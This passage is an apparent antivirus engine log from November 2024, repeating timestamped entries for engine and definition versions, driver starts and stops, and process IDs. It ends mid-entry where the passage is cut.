2024-11-08 20:32:07 AR2DEV: Stopped 1 2024-11-08 20:32:07 AVAVER: 21.2.2455 AR2: 241023 defs: 24110806 2024-11-08 20:32:07 ARPOT2: Start 2272 2024-11-08 20:32:07 AR2CFG: 241004 2024-11-08 20:32:07 AR2DEV: Start 1 Driver: 210305 2024-11-08 20:32:07 AR2DEV: Stopped 1 2024-11-08 20:32:07 AVAVER: 21.2.2455 AR2: 241023 defs: 24110806 2024-11-08 20:32:07 ARPOT2: Start 5820 2024-11-08 20:32:07 AR2CFG: 241004 2024-11-08 20:32:07 AR2DEV: Start 1 Driver: 210305 2024-11-09 00:29:57 AVAVER: 21.2.2455 AR2: 241023 defs: 24110806 2024-11-09 00:29:57 ARPOT2: Start 5468 2024-11-09 00:29:57 AR2CFG: 241004 2024-11-09 00:29:57 AR2DEV: Start 1 Driver: 210305 2024-11-09 00:30:37 AR2DEV: Stopped 1 2024-11-09 00:30:37 AVAVER: 21.2.2455 AR2: 241023 defs: 24110810 2024-11-09 00:30:37 ARPOT2: Start 3832 2024-11-09 00:30:37 AR2CFG: 241004 2024-11-09 00:30:37 AR2DEV: Start 1 Driver: 210305 2024-11-09 00:30:37 AR2DEV: Stopped 1 2024-11-09 00:30:37 AVAVER: 21.2.2455 AR2: 241023 defs: 24110810 2024-11-09 00:30:37 ARPOT2: Start 2040 2024-11-09 00:30:37 AR2CFG: 241004 2024-11-09 00:30:37 AR2DEV: Start 1 Driver: 210305 2024-11-09 16:32:11 AR2DEV: Stopped 1 2024-11-09 16:32:11 AVAVER: 21.2.2455 AR2: 241023 defs: 24110900 2024-11-09 16:32:11 ARPOT2: Start 6076 2024-11-09 16:32:11 AR2CFG: 241004 2024-11-09 16:32:11 AR2DEV: Start 1 Driver: 210305 2024-11-09 16:32:11 AR2DEV: Stopped 1 2024-11-09 16:32:11 AVAVER: 21.2.2455 AR2: 241023 defs: 24110900 2024-11-09 16:32:11 ARPOT2: Start 4224 2024-11-09 16:32:11 AR2CFG: 241004 2024-11-09 16:32:11 AR2DEV: Start 1 Driver: 210305 2024-11-09 20:33:12 AR2DEV: Stopped 1 2024-11-09 20:33:12 AVAVER: 21.2.2455 AR2: 241023 defs: 24110902 2024-11-09 20:33:12 ARPOT2: Start 4116 2024-11-09 20:33:12 AR2CFG: 241004 2024-11-09 20:33:12 AR2DEV: Start 1 Driver: 210305 2024-11-09 20:33:13 AR2DEV: Stopped 1 2024-11-09 20:33:13 AVAVER: 21.2.2455 AR2: 241023 defs: 24110902 2024-11-09 20:33:13 ARPOT2: Start 4236 2024-11-09 20:33:13 AR2CFG: 241004 2024-11-09 20:33:13 AR2DEV: Start 1 Driver: 210305 2024-11-10 00:31:08 AVAVER: 21.2.2455 AR2: 241023 defs: 24110902 2024-11-10 00:31:08 ARPOT2: Start 3868 2024-11-10 00:31:08 AR2CFG: 241004 2024-11-10 00:31:08 AR2DEV: Start 1 Driver: 210305 2024-11-10 04:31:39 AR2DEV: Stopped 1 2024-11-10 04:31:39 AVAVER: 21.2.2455 AR2: 241023 defs: 24110904 2024-11-10 04:31:39 ARPOT2: Start 4432 2024-11-10 04:31:39 AR2CFG: 241004 2024-11-10 04:31:39 AR2DEV: Start 1 Driver: 210305 2024-11-10 04:31:39 AR2DEV: Stopped 1 2024-11-10 04:31:39 AVAVER: 21.2.2455 AR2: 241023 defs: 24110904 2024-11-10 04:31:39 ARPOT2: Start 3156 2024-11-10 04:31:39 AR2CFG: 241004 2024-11-10 04:31:39 AR2DEV: Start 1 Driver: 210305 2024-11-10 16:32:46 AR2DEV: Stopped 1 2024-11-10 16:32:46 AVAVER: 21.2.2455 AR2: 241023 defs: 24111000 2024-11-10 16:32:46 ARPOT2: Start 2304 2024-11-10 16:32:46 AR2CFG: 241004 2024-11-10 16:32:46 AR2DEV: Start 1 Driver: 210305 2024-11-10 16:32:46 AR2DEV: Stopped 1 2024-11-10 16:32:46 AVAVER: 21.2.2455 AR2: 241023 defs: 24111000 2024-11-10 16:32:46 ARPOT2: Start 4136 2024-11-10 16:32:46 AR2CFG: 241004 2024-11-10 16:32:46 AR2DEV: Start 1 Driver: 210305 2024-11-11 00:32:12 AVAVER: 21.2.2455 AR2: 241023 defs: 24111000 2024-11-11 00:32:12 ARPOT2: Start 2580 2024-11-11 00:32:13 AR2CFG: 241004 2024-11-11 00:32:13 AR2DEV: Start 1 Driver: 210305 2024-11-11 00:32:47 AR2DEV: Stopped 1 2024-11-11 00:32:47 AVAVER: 21.2.2455 AR2: 241023 defs: 24111004 2024-11-11 00:32:47 ARPOT2: Start 2352 2024-11-11 00:32:47 AR2CFG: 241004 2024-11-11 00:32:47 AR2DEV: Start 1 Driver: 210305 2024-11-11 00:32:47 AR2DEV: Stopped 1 2024-11-11 00:32:47 AVAVER: 21.2.2455 AR2: 241023 defs: 24111004 2024-11-11 00:32:47 ARPOT2: Start 1180 2024-11-11 00:32:47 AR2CFG: 241004 2024-11-11 00:32:47 AR2DEV: Start 1 Driver: 210305 2024-11-11 16:34:26 AR2DEV: Stopped 1 2024-11-11 16:34:26 AVAVER: 21.2.2455 AR2: 241023 defs: 24111100 2024-11-11 16:34:26 ARPOT2: Start 4152 2024-11-11 16:34:26 AR2CFG: 241004 2024-11-11 16:34:26 AR2DEV: Start 1 Driver: 210305 2024-11-11 16:34:27 AR2DEV: Stopped 1 2024-11-11 16:34:27 AVAVER: 21.2.2455 AR2: 241023 defs: 24111100 2024-11-11 16:34:27 ARPOT2: Start 5684 2024-11-11 16:34:27 AR2CFG: 241004 2024-11-11 16:34:27 AR2DEV: Start 1 Driver: 210305 2024-11-12 00:33:20 AVAVER: 21.2.2455 AR2: 241023 defs: 24111100 2024-11-12 00:33:20 ARPOT2: Start 3568 2024-11-12 00:33:20 AR2CFG: 241004 2024-11-12 00:33:20 AR2DEV: Start 1 Driver: 210305 2024-11-13 00:37:02 AVAVER: 21.2.2455 AR2: 241023 defs: 24111100 2024-11-13 00:37:02 ARPOT2: Start 5928 2024-11-13 00:37:02 AR2CFG: 241004 2024-11-13 00:37:02 AR2DEV: Start 1 Driver: 210305 2024-11-13 00:37:42 AR2DEV: Stopped 1 2024-11-13 00:37:42 AVAVER: 21.2.2455 AR2: 241106 defs: 24111204 2024-11-13 00:37:42 ARPOT2: Start 2084 2024-11-13 00:37:42 AR2CFG: 241106 2024-11-13 00:37:42 AR2DEV: Start 1 Driver: 210305 2024-11-13 00:37:43 AR2DEV: Stopped 1 2024-11-13 00:37:43 AVAVER: 21.2.2455 AR2: 241106 defs: 24111204 2024-11-13 00:37:43 ARPOT2: Start 5300 2024-11-13 00:37:43 AR2CFG: 241106 2024-11-13 00:37:43 AR2DEV: Start 1 Driver: 210305 2024-11-13 04:39:01 AR2DEV: Stopped 1 2024-11-13 04:39:01 AVAVER: 21.2.2455 AR2: 241106 defs: 24111206 2024-11-13 04:39:01 ARPOT2: Start 2544 2024-11-13 04:39:01 AR2CFG: 241106 2024-11-13 04:39:01 AR2DEV: Start 1 Driver: 210305 2024-11-13 04:39:01 AR2DEV: Stopped 1 2024-11-13 04:39:01 AVAVER: 21.2.2455 AR2: 241106 defs: 24111206 2024-11-13 04:39:01 ARPOT2: Start 2620 2024-11-13 04:39:01 AR2CFG: 241106 2024-11-13 04:39:01 AR2DEV: Start 1 Driver: 210305 2024-11-13 16:40:11 AR2DEV: Stopped 1 2024-11-13 16:40:11 AVAVER: 21.2.2455 AR2: 241106 defs: 24111300 2024-11-13 16:40:11 ARPOT2: Start 5140 2024-11-13 16:40:11 AR2CFG: 241106 2024-11-13 16:40:11 AR2DEV: Start 1 Driver: 210305 2024-11-13 16:40:11 AR2DEV: Stopped 1 2024-11-13 16:40:11 AVAVER: 21.2.2455 AR2: 241106 defs: 24111300 2024-11-13 16:40:11 ARPOT2: Start 5492 2024-11-13 16:40:11 AR2CFG: 241106 2024-11-13 16:40:11 AR2DEV: Start 1 Driver: 210305 2024-11-13 20:41:10 AR2DEV: Stopped 1 2024-11-13 20:41:10 AVAVER: 21.2.2455 AR2: 241106 defs: 24111302 2024-11-13 20:41:10 ARPOT2: Start 1028 2024-11-13 20:41:10 AR2CFG: 241106 2024-11-13 20:41:10 AR2DEV: Start 1 Driver: 210305 2024-11-13 20:41:10 AR2DEV: Stopped 1 2024-11-13 20:41:10 AVAVER: 21.2.2455 AR2: 241106 defs: 24111302 2024-11-13 20:41:10 ARPOT2: Start 4140 2024-11-13 20:41:10 AR2CFG: 241106 2024-11-13 20:41:10 AR2DEV: Start 1 Driver: 210305 2024-11-14 00:38:10 AVAVER: 21.2.2455 AR2: 241106 defs: 24111302 2024-11-14 00:38:10 ARPOT2: Start 1408 2024-11-14 00:38:10 AR2CFG: 241106 2024-11-14 00:38:10 AR2DEV: Start 1 Driver: 210305 2024-11-15 00:41:51 AVAVER: 21.2.2455 AR2: 241106 defs: 24111302 2024-11-15 00:41:51 ARPOT2: Start 6020 2024-11-15 00:41:51 AR2CFG: 241106 2024-11-15 00:41:51 AR2DEV: Start 1 Driver: 210305 2024-11-15 00:42:31 AR2DEV: Stopped 1 2024-11-15 00:42:31 AVAVER: 21.2.2455 AR2: 241106 defs: 24111402 2024-11-15 00:42:31 ARPOT2: Start 2060 2024-11-15 00:42:31 AR2CFG: 241106 2024-11-15 00:42:31 AR2DEV: Start 1 Driver: 210305 2024-11-15 00:42:31 AR2DEV: Stopped 1 2024-11-15 00:42:31 AVAVER: 21.2.2455 AR2: 241106 defs: 24111402 2024-11-15 00:42:31 ARPOT2: Start 6052 2024-11-15 00:42:31 AR2CFG: 241106 2024-11-15 00:42:31 AR2DEV: Start 1 Driver: 210305 2024-11-15 04:43:41 AR2DEV: Stopped 1 2024-11-15 04:43:41 AVAVER: 21.2.2455 AR2: 241106 defs: 24111406 2024-11-15 04:43:41 ARPOT2: Start 1736 2024-11-15 04:43:41 AR2CFG: 241106 2024-11-15 04:43:41 AR2DEV: Start 1 Driver: 210305 2024-11-15 04:43:41 AR2DEV: Stopped 1 2024-11-15 04:43:41 AVAVER: 21.2.2455 AR2: 241106 defs: 24111406 2024-11-15 04:43:41 ARPOT2: Start 1444 2024-11-15 04:43:41 AR2CFG: 241106 2024-11-15 04:43:41 AR2DEV: Start 1 Driver: 210305 2024-11-15 16:44:50 AR2DEV: Stopped 1 2024-11-15 16:44:50 AVAVER: 21.2.2455 AR2: 241106 defs: 24111500 2024-11-15 16:44:50 ARPOT2: Start 4348 2024-11-15 16:44:50 AR2CFG: 241106 2024-11-15 16:44:50 AR2DEV: Start 1 Driver: 210305 2024-11-15 16:44:51 AR2DEV: Stopped 1 2024-11-15 16:44:51 AVAVER: 21.2.2455 AR2: 241106 defs: 24111500 2024-11-15 16:44:51 ARPOT2: Start 4168 2024-11-15 16:44:51 AR2CFG: 241106 2024-11-15 16:44:51 AR2DEV: Start 1 Driver: 210305 2024-11-16 00:42:53 AVAVER: 21.2.2455 AR2: 241106 defs: 24111500 2024-11-16 00:42:53 ARPOT2: Start 4004 2024-11-16 00:42:53 AR2CFG: 241106 2024-11-16 00:42:53 AR2DEV: Start 1 Driver: 210305 2024-11-16 04:43:32 AR2DEV: Stopped 1 2024-11-16 04:43:32 AVAVER: 21.2.2455 AR2: 241106 defs: 24111504 2024-11-16 04:43:32 ARPOT2: Start 4280 2024-11-16 04:43:32 AR2CFG: 241106 2024-11-16 04:43:32 AR2DEV: Start 1 Driver: 210305 2024-11-16 04:43:33 AR2DEV: Stopped 1 2024-11-16 04:43:33 AVAVER: 21.2.2455 AR2: 241106 defs: 24111504 2024-11-16 04:43:33 ARPOT2: Start 3784 2024-11-16 04:43:33 AR2CFG: 241106 2024-11-16 04:43:33 AR2DEV: Start 1 Driver: 210305 2024-11-16 16:44:47 AR2DEV: Stopped 1 2024-11-16 16:44:47 AVAVER: 21.2.2455 AR2: 241106 defs: 24111600 2024-11-16 16:44:47 ARPOT2: Start 4392 2024-11-16 16:44:47 AR2CFG: 241106 2024-11-16 16:44:47 AR2DEV: Start 1 Driver: 210305 2024-11-16 16:44:47 AR2DEV: Stopped 1 2024-11-16 16:44:47 AVAVER: 21.2.2455 AR2: 241106 defs: 24111600 2024-11-16 16:44:47 ARPOT2: Start 4292 2024-11-16 16:44:47 AR2CFG: 241106 2024-11-16 16:44:47 AR2DEV: Start 1 Driver: 210305 2024-11-16 20:45:45 AR2DEV: Stopped 1 2024-11-16 20:45:45 AVAVER: 21.2.2455 AR2: 241106 defs: 24111602 2024-11-16 20:45:45 ARPOT2: Start 6036 2024-11-16 20:45:45 AR2CFG: 241106 2024-11-16 20:45:45 AR2DEV: Start 1 Driver: 210305 2024-11-16 20:45:46 AR2DEV: Stopped 1 2024-11-16 20:45:46 AVAVER: 21.2.2455 AR2: 241106 defs: 24111602 2024-11-16 20:45:46 ARPOT2: Start 660 2024-11-16 20:45:46 AR2CFG: 241106 2024-11-16 20:45:46 AR2DEV: Start 1 Driver: 210305 2024-11-17 00:43:54 AVAVER: 21.2.2455 AR2: 241106 defs: 24111602 2024-11-17 00:43:54 ARPOT2: Start 164 2024-11-17 00:43:54 AR2CFG: 241106 2024-11-17 00:43:54 AR2DEV: Start 1 Driver: 210305 2024-11-17 04:44:28 AR2DEV: Stopped 1 2024-11-17 04:44:28 AVAVER: 21.2.2455 AR2: 241106 defs: 24111604 2024-11-17 04:44:28 ARPOT2: Start 4240 2024-11-17 04:44:28 AR2CFG: 241106 2024-11-17 04:44:28 AR2DEV: Start 1 Driver: 210305 2024-11-17 04:44:29 AR2DEV: Stopped 1 2024-11-17 04:44:29 AVAVER: 21.2.2455 AR2: 241106 defs: 24111604 2024-11-17 04:44:29 ARPOT2: Start 5980 2024-11-17 04:44:29 AR2CFG: 241106 2024-11-17 04:44:29 AR2DEV: Start 1 Driver: 210305 2024-11-17 16:45:49 AR2DEV: Stopped 1 2024-11-17 16:45:49 AVAVER: 21.2.2455 AR2: 241106 defs: 24111700 2024-11-17 16:45:49 ARPOT2: Start 6064 2024-11-17 16:45:49 AR2CFG: 241106 2024-11-17 16:45:49 AR2DEV: Start 1 Driver: 210305 2024-11-17 16:45:49 AR2DEV: Stopped 1 2024-11-17 16:45:49 AVAVER: 21.2.2455 AR2: 241106 defs: 24111700 2024-11-17 16:45:49 ARPOT2: Start 5272 2024-11-17 16:45:49 AR2CFG: 241106 2024-11-17 16:45:49 AR2DEV: Start 1 Driver: 210305 2024-11-17 20:46:43 AR2DEV: Stopped 1 2024-11-17 20:46:43 AVAVER: 21.2.2455 AR2: 241106 defs: 24111702 2024-11-17 20:46:43 ARPOT2: Start 3264 2024-11-17 20:46:43 AR2CFG: 241106 2024-11-17 20:46:43 AR2DEV: Start 1 Driver: 210305 2024-11-17 20:46:43 AR2DEV: Stopped 1 2024-11-17 20:46:43 AVAVER: 21.2.2455 AR2: 241106 defs: 24111702 2024-11-17 20:46:43 ARPOT2: Start 4068 2024-11-17 20:46:43 AR2CFG: 241106 2024-11-17 20:46:43 AR2DEV: Start 1 Driver: 210305 2024-11-18 00:45:01 AVAVER: 21.2.2455 AR2: 241106 defs: 24111702 2024-11-18 00:45:01 ARPOT2: Start 5896 2024-11-18 00:45:01 AR2CFG: 241106 2024-11-18 00:45:01 AR2DEV: Start 1 Driver: 210305 2024-11-18 20:46:03 AR2DEV: Stopped 1 2024-11-18 20:46:03 AVAVER: 21.2.2455 AR2: 241114 defs: 24111806 2024-11-18 20:46:03 ARPOT2: Start 2992 2024-11-18 20:46:03 AR2CFG: 241114 2024-11-18 20:46:03 AR2DEV: Start 1 Driver: 210305 2024-11-18 20:46:04 AR2DEV: Stopped 1 2024-11-18 20:46:04 AVAVER: 21.2.2455 AR2: 241114 defs: 24111806 2024-11-18 20:46:04 ARPOT2: Start 4372 2024-11-18 20:46:04 AR2CFG: 241114 2024-11-18 20:46:04 AR2DEV: Start 1 Driver: 210305 2024-11-19 00:46:01 AVAVER: 21.2.2455 AR2: 241114 defs: 24111806 2024-11-19 00:46:01 ARPOT2: Start 4216 2024-11-19 00:46:01 AR2CFG: 241114 2024-11-19 00:46:01 AR2DEV: Start 1 Driver: 210305 2024-11-19 04:46:36 AR2DEV: Stopped 1 2024-11-19 04:46:36 AVAVER: 21.2.2455 AR2: 241114 defs: 24111808 2024-11-19 04:46:36 ARPOT2: Start 3496 2024-11-19 04:46:36 AR2CFG: 241114 2024-11-19 04:46:36 AR2DEV: Start 1 Driver: 210305 2024-11-19 04:46:36 AR2DEV: Stopped 1 2024-11-19 04:46:36 AVAVER: 21.2.2455 AR2: 241114 defs: 24111808 2024-11-19 04:46:36 ARPOT2: Start 5840 2024-11-19 04:46:36 AR2CFG: 241114 2024-11-19 04:46:36 AR2DEV: Start 1 Driver: 210305 2024-11-19 16:47:51 AR2DEV: Stopped 1 2024-11-19 16:47:51 AVAVER: 21.2.2455 AR2: 241114 defs: 24111900 2024-11-19 16:47:51 ARPOT2: Start 412 2024-11-19 16:47:51 AR2CFG: 241114 2024-11-19 16:47:51 AR2DEV: Start 1 Driver: 210305 2024-11-19 16:47:51 AR2DEV: Stopped 1 2024-11-19 16:47:51 AVAVER: 21.2.2455 AR2: 241114 defs: 24111900 2024-11-19 16:47:51 ARPOT2: Start 2620 2024-11-19 16:47:51 AR2CFG: 241114 2024-11-19 16:47:51 AR2DEV: Start 1 Driver: 210305 2024-11-20 00:47:02 AVAVER: 21.2.2455 AR2: 241114 defs: 24111900 2024-11-20 00:47:02 ARPOT2: Start 4008 2024-11-20 00:47:02 AR2CFG: 241114 2024-11-20 00:47:02 AR2DEV: Start 1 Driver: 210305 2024-11-20 00:47:35 AR2DEV: Stopped 1 2024-11-20 00:47:35 AVAVER: 21.2.2455 AR2: 241114 defs: 24111904 2024-11-20 00:47:35 ARPOT2: Start 2740 2024-11-20 00:47:35 AR2CFG: 241114 2024-11-20 00:47:35 AR2DEV: Start 1 Driver: 210305 2024-11-20 00:47:36 AR2DEV: Stopped 1 2024-11-20 00:47:36 AVAVER: 21.2.2455 AR2: 241114 defs: 24111904 2024-11-20 00:47:36 ARPOT2: Start 1032 2024-11-20 00:47:36 AR2CFG: 241114 2024-11-20 00:47:36 AR2DEV: Start 1 Driver: 210305 2024-11-20 16:49:09 AR2DEV: Stopped 1 2024-11-20 16:49:09 AVAVER: 21.2.2455 AR2: 241114 defs: 24112000 2024-11-20 16:49:09 ARPOT2: Start 3728 2024-11-20 16:49:09 AR2CFG: 241114 2024-11-20 16:49:09 AR2DEV: Start 1 Driver: 210305 2024-11-20 16:49:10 AR2DEV: Stopped 1 2024-11-20 16:49:10 AVAVER: 21.2.2455 AR2: 241114 defs: 24112000 2024-11-20 16:49:10 ARPOT2: Start 4028 2024-11-20 16:49:10 AR2CFG: 241114 2024-11-20 16:49:10 AR2DEV: Start 1 Driver: 210305 2024-11-20 20:50:11 AR2DEV: Stopped 1 2024-11-20 20:50:11 AVAVER: 21.2.2455 AR2: 241114 defs: 24112002 2024-11-20 20:50:11 ARPOT2: Start 4372 2024-11-20 20:50:11 AR2CFG: 241114 2024-11-20 20:50:11 AR2DEV: Start 1 Driver: 210305 2024-11-20 20:50:11 AR2DEV: Stopped 1 2024-11-20 20:50:11 AVAVER: 21.2.2455 AR2: 241114 defs: 24112002 2024-11-20 20:50:11 ARPOT2: Start 5308 2024-11-20 20:50:11 AR2CFG: 241114 2024-11-20 20:50:11 AR2DEV: Start 1 Driver: 210305 2024-11-21 00:48:03 AVAVER: 21.2.2455 AR2: 241114 defs: 24112002 2024-11-21 00:48:03 ARPOT2: Start 4332 2024-11-21 00:48:03 AR2CFG: 241114 2024-11-21 00:48:03 AR2DEV: Start 1 Driver: 210305 2024-11-22 00:51:51 AVAVER: 21.2.2455 AR2: 241114 defs: 24112002 2024-11-22 00:51:51 ARPOT2: Start 2304 2024-11-22 00:51:51 AR2CFG: 241114 2024-11-22 00:51:51 AR2DEV: Start 1 Driver: 210305 2024-11-22 00:52:33 AR2DEV: Stopped 1 2024-11-22 00:52:33 AVAVER: 21.2.2455 AR2: 241119 defs: 24112104 2024-11-22 00:52:33 ARPOT2: Start 5412 2024-11-22 00:52:33 AR2CFG: 241119 2024-11-22 00:52:33 AR2DEV: Start 1 Driver: 210305 2024-11-22 00:52:33 AR2DEV: Stopped 1 2024-11-22 00:52:33 AVAVER: 21.2.2455 AR2: 241119 defs: 24112104 2024-11-22 00:52:33 ARPOT2: Start 3616 2024-11-22 00:52:33 AR2CFG: 241119 2024-11-22 00:52:34 AR2DEV: Start 1 Driver: 210305 2024-11-22 04:53:53 AR2DEV: Stopped 1 2024-11-22 04:53:53 AVAVER: 21.2.2455 AR2: 241119 defs: 24112106 2024-11-22 04:53:53 ARPOT2: Start 4400 2024-11-22 04:53:53 AR2CFG: 241119 2024-11-22 04:53:53 AR2DEV: Start 1 Driver: 210305 2024-11-22 04:53:53 AR2DEV: Stopped 1 2024-11-22 04:53:53 AVAVER: 21.2.2455 AR2: 241119 defs: 24112106 2024-11-22 04:53:53 ARPOT2: Start 2316 2024-11-22 04:53:54 AR2CFG: 241119 2024-11-22 04:53:54 AR2DEV: Start 1 Driver: 210305 2024-11-22 16:55:02 AR2DEV: Stopped 1 2024-11-22 16:55:02 AVAVER: 21.2.2455 AR2: 241119 defs: 24112200 2024-11-22 16:55:02 ARPOT2: Start 948 2024-11-22 16:55:02 AR2CFG: 241119 2024-11-22 16:55:03 AR2DEV: Start 1 Driver: 210305 2024-11-22 16:55:03 AR2DEV: Stopped 1 2024-11-22 16:55:03 AVAVER: 21.2.2455 AR2: 241119 defs: 24112200 2024-11-22 16:55:03 ARPOT2: Start 1472 2024-11-22 16:55:03 AR2CFG: 241119 2024-11-22 16:55:03 AR2DEV: Start 1 Driver: 210305 2024-11-22 20:56:08 AR2DEV: Stopped 1 2024-11-22 20:56:08 AVAVER: 21.2.2455 AR2: 241119 defs: 24112202 2024-11-22 20:56:08 ARPOT2: Start 4400 2024-11-22 20:56:08 AR2CFG: 241119 2024-11-22 20:56:09 AR2DEV: Start 1 Driver: 210305 2024-11-22 20:56:09 AR2DEV: Stopped 1 2024-11-22 20:56:09 AVAVER: 21.2.2455 AR2: 241119 defs: 24112202 2024-11-22 20:56:09 ARPOT2: Start 3904 2024-11-22 20:56:09 AR2CFG: 241119 2024-11-22 20:56:09 AR2DEV: Start 1 Driver: 210305 2024-11-23 00:52:55 AVAVER: 21.2.2455 AR2: 241119 defs: 24112202 2024-11-23 00:52:55 ARPOT2: Start 6092 2024-11-23 00:52:55 AR2CFG: 241119 2024-11-23 00:52:55 AR2DEV: Start 1 Driver: 210305 2024-11-23 04:53:29 AR2DEV: Stopped 1 2024-11-23 04:53:29 AVAVER: 21.2.2455 AR2: 241119 defs: 24112204 2024-11-23 04:53:29 ARPOT2: Start 1604 2024-11-23 04:53:29 AR2CFG: 241119 2024-11-23 04:53:29 AR2DEV: Start 1 Driver: 210305 2024-11-23 04:53:30 AR2DEV: Stopped 1 2024-11-23 04:53:30 AVAVER: 21.2.2455 AR2: 241119 defs: 24112204 2024-11-23 04:53:30 ARPOT2: Start 2252 2024-11-23 04:53:30 AR2CFG: 241119 2024-11-23 04:53:30 AR2DEV: Start 1 Driver: 210305 2024-11-23 16:54:42 AR2DEV: Stopped 1 2024-11-23 16:54:42 AVAVER: 21.2.2455 AR2: 241119 defs: 24112300 2024-11-23 16:54:42 ARPOT2: Start 3728 2024-11-23 16:54:42 AR2CFG: 241119 2024-11-23 16:54:42 AR2DEV: Start 1 Driver: 210305 2024-11-23 16:54:42 AR2DEV: Stopped 1 2024-11-23 16:54:42 AVAVER: 21.2.2455 AR2: 241119 defs: 24112300 2024-11-23 16:54:42 ARPOT2: Start 3856 2024-11-23 16:54:42 AR2CFG: 241119 2024-11-23 16:54:42 AR2DEV: Start 1 Driver: 210305 2024-11-23 20:55:37 AR2DEV: Stopped 1 2024-11-23 20:55:37 AVAVER: 21.2.2455 AR2: 241119 defs: 24112302 2024-11-23 20:55:37 ARPOT2: Start 1444 2024-11-23 20:55:37 AR2CFG: 241119 2024-11-23 20:55:37 AR2DEV: Start 1 Driver: 210305 2024-11-23 20:55:37 AR2DEV: Stopped 1 2024-11-23 20:55:37 AVAVER: 21.2.2455 AR2: 241119 defs: 24112302 2024-11-23 20:55:37 ARPOT2: Start 1980 2024-11-23 20:55:37 AR2CFG: 241119 2024-11-23 20:55:37 AR2DEV: Start 1 Driver: 210305 2024-11-24 00:53:55 AVAVER: 21.2.2455 AR2: 241119 defs: 24112302 2024-11-24 00:53:55 ARPOT2: Start 2132 2024-11-24 00:53:55 AR2CFG: 241119 2024-11-24 00:53:55 AR2DEV: Start 1 Driver: 210305 2024-11-24 00:54:22 AR2DEV: Stopped 1 2024-11-24 00:54:22 AVAVER: 21.2.2455 AR2: 241119 defs: 24112304 2024-11-24 00:54:22 ARPOT2: Start 4292 2024-11-24 00:54:22 AR2CFG: 241119 2024-11-24 00:54:22 AR2DEV: Start 1 Driver: 210305 2024-11-24 00:54:23 AR2DEV: Stopped 1 2024-11-24 00:54:23 AVAVER: 21.2.2455 AR2: 241119 defs: 24112304 2024-11-24 00:54:23 ARPOT2: Start 3996 2024-11-24 00:54:23 AR2CFG: 241119 2024-11-24 00:54:23 AR2DEV: Start 1 Driver: 210305 2024-11-24 16:55:56 AR2DEV: Stopped 1 2024-11-24 16:55:56 AVAVER: 21.2.2455 AR2: 241119 defs: 24112400 2024-11-24 16:55:56 ARPOT2: Start 2188 2024-11-24 16:55:56 AR2CFG: 241119 2024-11-24 16:55:56 AR2DEV: Start 1 Driver: 210305 2024-11-24 16:55:57 AR2DEV: Stopped 1 2024-11-24 16:55:57 AVAVER: 21.2.2455 AR2: 241119 defs: 24112400 2024-11-24 16:55:57 ARPOT2: Start 5444 2024-11-24 16:55:57 AR2CFG: 241119 2024-11-24 16:55:57 AR2DEV: Start 1 Driver: 210305 2024-11-24 20:56:59 AR2DEV: Stopped 1 2024-11-24 20:56:59 AVAVER: 21.2.2455 AR2: 241119 defs: 24112402 2024-11-24 20:56:59 ARPOT2: Start 1464 2024-11-24 20:57:00 AR2CFG: 241119 2024-11-24 20:57:00 AR2DEV: Start 1 Driver: 210305 2024-11-24 20:57:00 AR2DEV: Stopped 1 2024-11-24 20:57:00 AVAVER: 21.2.2455 AR2: 241119 defs: 24112402 2024-11-24 20:57:00 ARPOT2: Start 5228 2024-11-24 20:57:00 AR2CFG: 241119 2024-11-24 20:57:00 AR2DEV: Start 1 Driver: 210305 2024-11-25 00:54:55 AVAVER: 21.2.2455 AR2: 241119 defs: 24112402 2024-11-25 00:54:55 ARPOT2: Start 2060 2024-11-25 00:54:55 AR2CFG: 241119 2024-11-25 00:54:55 AR2DEV: Start 1 Driver: 210305 2024-11-25 00:55:23 AR2DEV: Stopped 1 2024-11-25 00:55:23 AVAVER: 21.2.2455 AR2: 241119 defs: 24112404 2024-11-25 00:55:23 ARPOT2: Start 2264 2024-11-25 00:55:23 AR2CFG: 241119 2024-11-25 00:55:23 AR2DEV: Start 1 Driver: 210305 2024-11-25 00:55:23 AR2DEV: Stopped 1 2024-11-25 00:55:23 AVAVER: 21.2.2455 AR2: 241119 defs: 24112404 2024-11-25 00:55:23 ARPOT2: Start 572 2024-11-25 00:55:23 AR2CFG: 241119 2024-11-25 00:55:23 AR2DEV: Start 1 Driver: 210305 2024-11-25 16:56:39 AR2DEV: Stopped 1 2024-11-25 16:56:39 AVAVER: 21.2.2455 AR2: 241119 defs: 24112500 2024-11-25 16:56:39 ARPOT2: Start 3816 2024-11-25 16:56:39 AR2CFG: 241119 2024-11-25 16:56:39 AR2DEV: Start 1 Driver: 210305 2024-11-25 16:56:39 AR2DEV: Stopped 1 2024-11-25 16:56:39 AVAVER: 21.2.2455 AR2: 241119 defs: 24112500 2024-11-25 16:56:39 ARPOT2: Start 2512 2024-11-25 16:56:39 AR2CFG: 241119 2024-11-25 16:56:39 AR2DEV: Start 1 Driver: 210305 2024-11-25 20:57:28 AR2DEV: Stopped 1 2024-11-25 20:57:28 AVAVER: 21.2.2455 AR2: 241119 defs: 24112502 2024-11-25 20:57:28 ARPOT2: Start 4116 2024-11-25 20:57:28 AR2CFG: 241119 2024-11-25 20:57:28 AR2DEV: Start 1 Driver: 210305 2024-11-25 20:57:28 AR2DEV: Stopped 1 2024-11-25 20:57:28 AVAVER: 21.2.2455 AR2: 241119 defs: 24112502 2024-11-25 20:57:28 ARPOT2: Start 5492 2024-11-25 20:57:28 AR2CFG: 241119 2024-11-25 20:57:28 AR2DEV: Start 1 Driver: 210305 2024-11-26 00:55:56 AVAVER: 21.2.2455 AR2: 241119 defs: 24112502 2024-11-26 00:55:56 ARPOT2: Start 2740 2024-11-26 00:55:56 AR2CFG: 241119 2024-11-26 00:55:56 AR2DEV: Start 1 Driver: 210305 2024-11-27 00:59:41 AVAVER: 21.2.2455 AR2: 241119 defs: 24112502 2024-11-27 00:59:41 ARPOT2: Start 3232 2024-11-27 00:59:41 AR2CFG: 241119 2024-11-27 00:59:41 AR2DEV: Start 1 Driver: 210305 2024-11-27 05:00:23 AR2DEV: Stopped 1 2024-11-27 05:00:23 AVAVER: 21.2.2455 AR2: 241125 defs: 24112604 2024-11-27 05:00:23 ARPOT2: Start 592 2024-11-27 05:00:23 AR2CFG: 241125 2024-11-27 05:00:23 AR2DEV: Start 1 Driver: 210305 2024-11-27 05:00:23 AR2DEV: Stopped 1 2024-11-27 05:00:23 AVAVER: 21.2.2455 AR2: 241125 defs: 24112604 2024-11-27 05:00:23 ARPOT2: Start 4236 2024-11-27 05:00:23 AR2CFG: 241125 2024-11-27 05:00:23 AR2DEV: Start 1 Driver: 210305 2024-11-27 09:01:39 AR2DEV: Stopped 1 2024-11-27 09:01:39 AVAVER: 21.2.2455 AR2: 241125 defs: 